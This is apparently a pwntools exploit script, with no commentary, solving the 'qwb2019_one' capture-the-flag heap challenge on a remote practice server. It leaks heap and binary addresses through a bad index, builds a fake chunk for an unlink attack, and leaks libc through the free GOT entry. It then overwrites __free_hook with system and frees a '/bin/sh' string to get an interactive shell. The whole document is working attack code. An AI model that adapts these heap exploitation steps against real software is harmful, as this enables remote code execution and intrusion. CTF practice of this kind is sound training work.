1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| from pwn import *
sh = remote('node3.buuoj.cn',27591) elf = ELF('./qwb2019_one') free_got = elf.got['free'] libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') free_hook_s = libc.symbols['__free_hook'] free_s = libc.sym['free'] system_s = libc.sym['system']
def add(string): sh.sendlineafter('command>>','1') sh.sendafter('test string:',string)
def edit(index,old_c,new_c): sh.sendlineafter('command>>','2') sh.sendlineafter('index of the string:',str(index)) sh.sendafter('Which char do you want to edit:',old_c) sh.sendlineafter('What do you want to edit it into:',new_c)
def show(index): sh.sendlineafter('command>>','3') sh.sendlineafter('index of the string:',str(index))
def delete(index): sh.sendlineafter('command>>','4') sh.sendlineafter('index of the string:',str(index))
def test(index): sh.sendlineafter('command>>','12580') sh.sendlineafter('Do you want to use one?(Y/N)','Y') sh.sendlineafter('Here are 5 strings to be tested. Which one do you want to test?',str(index))
test(0x80000000)
sh.recvuntil('The string:\n') heap0_ptr_addr = u64(sh.recv(6).ljust(0x8,'\x00')) elf_base = heap0_ptr_addr - 0x2030C0 free_got_addr = elf_base + free_got print 'heap0_ptr_addr=',hex(heap0_ptr_addr) print 'elf_base=',hex(elf_base)
char_table = '' for i in range(0x20): char_table += chr(ord('a')+i)
add(char_table) add('b'*0x20) add('/bin/sh\x00')
for i in range(0xF): add('b'*0x20)
add('c'*0x20)
for i in range(0x18): edit(0,'\x00',chr(ord('B') + i)) size = 0x40 * 0x11
edit(0,'\x41\n',p8(size & 0xFF)) edit(0,'\x00',p8((size >> 0x8) & 0xFF))
for i in range(0x17,0x10,-1): edit(0,chr(ord('B') + i) + '\n','\x00')
edit(0,chr(ord('B') + 0x10) + '\n',p8(0x30))
fake_chunk = p64(0) + p64(0x31) fake_chunk += p64(heap0_ptr_addr - 0x18) + p64(heap0_ptr_addr - 0x10)
for i in range(0x1F,-1,-1): edit(0,chr(ord('a')+i)+'\n',fake_chunk[i])
delete(1)
for i in range(0x18): edit(0,'\x00','1')
edit(0,'\xA8\n','\xC8')
for i in range(6): edit(0,'\x00',p8((free_got_addr >> (8 * i)) & 0xFF)) show(1) sh.recvuntil('The string is:\n') free_addr = u64(sh.recv(6).ljust(0x8,'\x00')) libc_base = free_addr - free_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + system_s print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) print 'system_addr=',hex(system_addr)
for i in range(6): edit(0,p8((free_got_addr >> (8 * i)) & 0xFF) + '\n',p8((free_hook_addr >> (8 * i)) & 0xFF))
for i in range(6): edit(1,'\x00',p8((system_addr >> (8 * i)) & 0xFF))
delete(2)
sh.interactive()
|